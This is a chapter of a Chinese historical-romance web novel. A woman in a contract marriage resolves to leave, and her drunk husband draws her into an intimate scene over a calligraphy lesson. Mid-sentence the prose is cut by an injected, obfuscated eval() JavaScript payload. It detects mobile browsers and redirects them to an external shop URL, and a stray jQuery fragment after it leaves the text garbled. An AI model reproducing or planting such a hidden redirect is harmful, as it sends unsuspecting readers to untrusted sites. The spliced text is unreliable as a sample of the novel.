“我无意中在看到典契上写着你的名字，以为是纪家从前替你置办的产业，当即将此院买下，本想留着用来羞辱你……如今没什么必要了，还给你。”
温妤接过典契，低头看着上头自己亲笔签下的名字。
那是时茂教她写字后，她头一回在正儿八经的文书上签自己的名。
歪歪扭扭的名字，是她怀着卖出退路的决心，一笔一画认真写下。
“你……想让我怎么谢你？”
温妤将典契折好，收进妆匣，再开口时有些犹豫。
“我不要你谢。”纪清澜站起身，走向窗边，“我来寻你，只想让你知道，我们纪家的女儿，都擅长将命押在男人身上。纪清禾押了，我押了，你也押了。”
她望着天花板：“纪清禾押输了，被宋宏当挂名的正妻，养在外头的妾室告她善妒，她如今带着虞芷艰难度日，连一顿饭都要看婆母的脸色。
“我也押输了，赔了身子、赔了孩子、赔了半条命，如今反水也不过是想活命。
“你呢？”
她转过身来，目光涣散。
“你押赢了吗？”
温妤闭上双眼，脑海中浮现那封被撕得粉碎的和离书。
纪清澜也没有等她回答，整理衣襟，甫一推门，却听温妤道：“纪琛。”
“什么？”
“纪琛，我们的兄长，”温妤目光如炬，紧盯纪清澜，“他为何要弹劾陆默？”
纪清澜没有回头：“我猜，大抵是帝王偏心，想要遮掩某些丑闻吧。”
纪清澜匆匆离去，温妤将窝在床榻上，怔了许久。
帝王。
醒来时天色渐晚，温妤近日昼伏夜出，时茂又不见人影。她再度回到陆少渊的居所，找到母亲。
陆默服下药后将将入睡，虞菡正坐外间，在烛下缝补旧衣裳。
见温妤进来，虞菡抬头含笑，然而看到温妤的神情后，笑意却慢慢收拢。
温妤在母亲面前坐下，沉默地坐了许久，旋即眼泪无声地流了下来，豆子般一颗一颗向下砸落。
她拿袖口去擦，擦完又淌，淌完又擦。
最后终于开口，声音轻柔，像是害怕惊醒里间刚睡着的陆默。
“娘。我想走了。”她低低道，“我要带着你和陆伯父，一起走。”
虞菡没有接话，静静看着温妤。
许久，她缓缓抬手，将温妤颊边一缕碎发掖到耳后，指腹停在眼角那道未干的泪痕处。
“你们吵架了？”
温妤垂眸，望着膝上交叠的手。
国公府养人向来是不吝的。经过半年来的精心养护，她手背上冻疮旧痕已然淡去，月经如常，气色红润肤如凝脂。
“并非……”温妤淡声坦白，“娘，其实我们本就是订契成婚。他需要陆家，我需要逃离纪家，我们说好，事成后便和离，他会放我走。”
顿了顿，唇角微微弯起，再度蓄泪。
“可我自己不争气。不知何时，偏偏将一切当了真。”
她不敢信时茂。
陆少渊一无所有，尚且拼死讨要公道。
而时茂手握滔天权势，面对冤案却冷眼旁观无动于衷。
这般心性，温妤坚信往后遇上危难，他定然会第一时间舍弃她，保全自己性命。
虞菡的手在温妤发间停住了，旋即展臂将女儿轻轻揽进怀里。
温妤将脸埋入母亲肩窝，闻见母亲衣襟上淡淡的香气。母亲瘦削的手在她后背上一下一下轻抚，似乎在弥补儿时不曾哄她入睡的缺憾。
“娘这辈子最大的期盼，”
虞菡轻声道，“便是你能幸福。旁的，都不重要。”
温妤的眼泪流下来，打湿了母亲锁骨处的衣襟。
她在国公府的位置，就好像那坛太岁一样。
时茂将太岁搁在藏珍阁最深处的琉璃盆中，十年不换水，不腐不臭。
他知道太岁摆在原地，不会长腿逃跑，也不会突然腐烂，所以他心安理得；
就像他将温妤也搁在这座宅子里，给她名分，给她庇护，给她信任和忠诚，将所有他觉得重要的东西整整齐齐地奉上。
他知道温妤在府里，却不知她做的一切——不知道她会在灶房小心翼翼替他挑去饭中姜丝，也不知道她将自己唯一的退路卖掉，为她纾解困难。
时茂将她锁在“世子夫人”这个身份中，就好像把太岁放入漂亮的琉璃盆里。
然后他锁上门，转身去忙他的朝局。
他从不会主动打开琉璃瓶，去看看她的冻疮今年有没有复发，看看她今天胃疼不疼，看看她写字写到几更天。
他只会在特定的时刻才会打开暗格：
有人病危了，需要太岁入药。
温妤抬起脸来，眼眶红红的，“并非是他不在乎我，而是我太乖顺，他太放心。我无嗔痴，他便将我的存在当作府中的风景，他没有意识到我是人，不是一件摆在藏珍阁中的藏品。我有一颗会跳动的心，会难过也会哭。我不想做豢养在漂亮琉璃瓶中的太岁了。太岁能创生，而我不会永远年轻。青春易逝，我不想直到自己撑不住的那一天，才等他打开藏珍阁，发现我在那里放了太久，已经没用了。”
虞菡沉默许久。
“好。”
她动了动唇，语调生硬却又决绝。
就好像十七年前，她离开纪家时的心情。
“我们走。”
*
春闱放榜，陆少渊被钦点二甲庶吉士，入庶常馆深造。
这是陆默病倒后，第一个好消息。
清明过后，雨生百谷。
谷雨那日，天上下着极细的雨丝，落在石阶上无声无息，只留下一地潮润的深色。
温妤撑伞穿越回廊，去书房取回自己的东西，她打算将属于自己的东西一件一件收好，然后向这座府宅告别。
天色已晚，她推开院门，雨刚停片刻，廊下的风灯被夜风吹得轻轻摇曳。
跨进门槛，身后忽然传来一阵沉重的脚步声，革靴踏上台阶，步伐凌乱，忽重忽轻。
温妤转身，见时茂并未撑伞，自外走入，外袍肩头被雨打湿一片，几缕碎发贴在额角，面颊薄红。
时茂在她面前停下，垂头盯着她，目光有些涣散，发丝的水珠一滴一滴下落。
“去哪了？”他嗓音微哑。
“去了趟城隅，探望陆伯父。”
一阵浓郁的酒气扑鼻，混着雨幕的潮湿，在夜风里散开，温妤淡声道，“你……喝酒了？”
时茂微颔首，抬手捏了捏眉心。
“圣上暂时禁足太子，着手调查。难得松快一日，四哥拉我回府一聚，今夜才没回来用晚膳。”
温妤垂眸，心底一阵酸涩，发现自己还是在意他的。
垂下眼睫，令春鸢抱伞而出，轻声道：
“我去为你备醒酒汤。”
“不必——”
时茂扶稳手边案牍，褪去潮湿的外袍，像是想起要紧事，“你今日还未习字。”
温妤忽然有点想笑，又有点想哭。
她早就不是从前的文盲了，如今虽不能出口成章落笔成诗，但也能工工整整写下一篇稚嫩的文章。
温妤望着他，心底突然冒出一个小人，小人叽叽喳喳地说，你还是喜欢他呀。
喜欢没有办法，就是喜欢。
温妤叹口气，依着他走到案前，铺开一张纸，俯身搦管。
“你就……写我的名字。”
不知何时，他站在了身后，声音从头顶传来，酒气扫过她的耳廓。
温妤挽起袖口，露出一截白净的手腕，蘸墨落纸，横平竖直，预备写下“时”字。
甫一写完“日”字旁，忽然觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784484|205792||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得什么东西环绕身后，将她整个人圈在书案与温热的胸膛之间。
温妤身体紧绷，呼吸慢了半拍。
余光瞥见环抱过来的那截有力的小臂，腕骨凸出，指节修长而有力，缓缓覆在她握笔的手背上，掌心滚烫。
“都出去。”
他低沉的嗓音自耳侧传来，满屋待命的仆从垂下眼睫，悉听尊便尽数退出。
时茂的左手搂住温妤的腰，右手覆在她握笔的手上，胸膛贴她的后背。
潮湿的外袍已去，隔着内里一层薄薄的春衫，感受着他灼人的体温，与胸腔那颗沉稳搏动的心。
他身量颀长，缓缓弯腰来环住温妤，整个人宛如一堵温热的墙，将她严严实实笼影中。
她不敢动了。
因为有一处滚烫的硬物硌到她的后腰，隔着薄薄的衣料，她的后背僵成一张绷紧的弓。
不行。
温妤心道，他喝醉了，力气又大，如果打起架来，她可打不过他。
然而时茂没有划拳的意思，他只是握着她的手，拢在她手背上，附在温妤耳畔，低声道：“别握太紧。松一点，让笔锋自己走。”
温妤照做，僵硬的手指在他掌心内一点点松开，他带着她的笔尖，笔锋游走，写出最后一笔，竖钩锋利。
写完右边的“寺”，与左边的“日”字旁，刚好拼凑成一个完整的“时”。
温妤迅速闭了闭眼，欲逃：“你喝多了，我去给你端醒酒汤——”
话音未落，时茂已从她手中抽走毛笔，随意撂倒。
笔杆磕在笔山上，发出一声脆响。
他双手托住她的腰，将她整个人抱起。
温妤短促地低呼一声，下意识抓住他的肩膀，指尖隔着衣料触到他灼烧的身体。
时茂将她放在书桌上，纸笔被随意推到一边，几张写满字迹的宣纸飘落在地，墨迹晕染。
温妤头脑空白坐在桌沿上，时茂双手撑在她身体两侧，微微倾身抬眸，视线与她平齐。
酒气扑面而来。
温妤感觉到什么东西硌在腿侧，隔着衣料，呼吸凝滞，他的眼睛在昏暗的烛灯下呈现出褐色，像一颗漂亮的琉璃球，瞳孔微微放大，目光中似乎流露出压抑了很久的东西。
“温妤。”
时茂轻声唤她的名字，手指落在她的锁骨上，一颗一颗扣子，解开她的衣领。
温妤几乎要溺死在那片温柔中。
胸前露出一小片雪白，锁骨分明，骨骼的轮廓在灯下如同淡墨勾勒的远山。
他缓缓拿起案上一支干净的紫檀狼毫，笔尖蘸取案角的半盏凉茶。
茶水浸透笔锋，笔尖落在她锁骨下方那片雪白的肌肤上。
又轻，又慢，一笔，一画。
湿润的笔锋触到肌肤，温妤的身体僵直，忍不住战栗瑟缩。
毛笔像是灵巧的蛇一样，冰凉而又柔软，曲折地游走在滑嫩的皮肤上。
她的汗毛竖了起来。
笔锋在皮肤上穿行，能感觉到每一根毫毛的走向，每一只笔画的起承转合。
时茂垂睫，写得很慢，像是在临摹一幅珍贵的字帖。
写完最后一笔，他将笔搁下，“这……是什么字？”
温妤睁开眼，泪水模糊了视线，面前冷峻得像是雕塑一样的面庞，在光影中晃成一片暖金色。
“时……茂。”
她的嘴唇翕动，轻柔地念出锁骨上潋滟的水痕。
时茂从未听过自己的名字，被柔情似水的嗓音念出。
从小到大，旁人都恭敬地唤他世子，唤他指挥使。
温妤唤他的名字，缠绵悱恻，婉转动听，像是温酒中化开一捧温热的蜜。
他眼眸漆黑幽邃，干涩发紧的喉结上下摩挲，宽大有力的手掌下意识紧箍她的腰侧，垂头，俯身吻上那个字。
……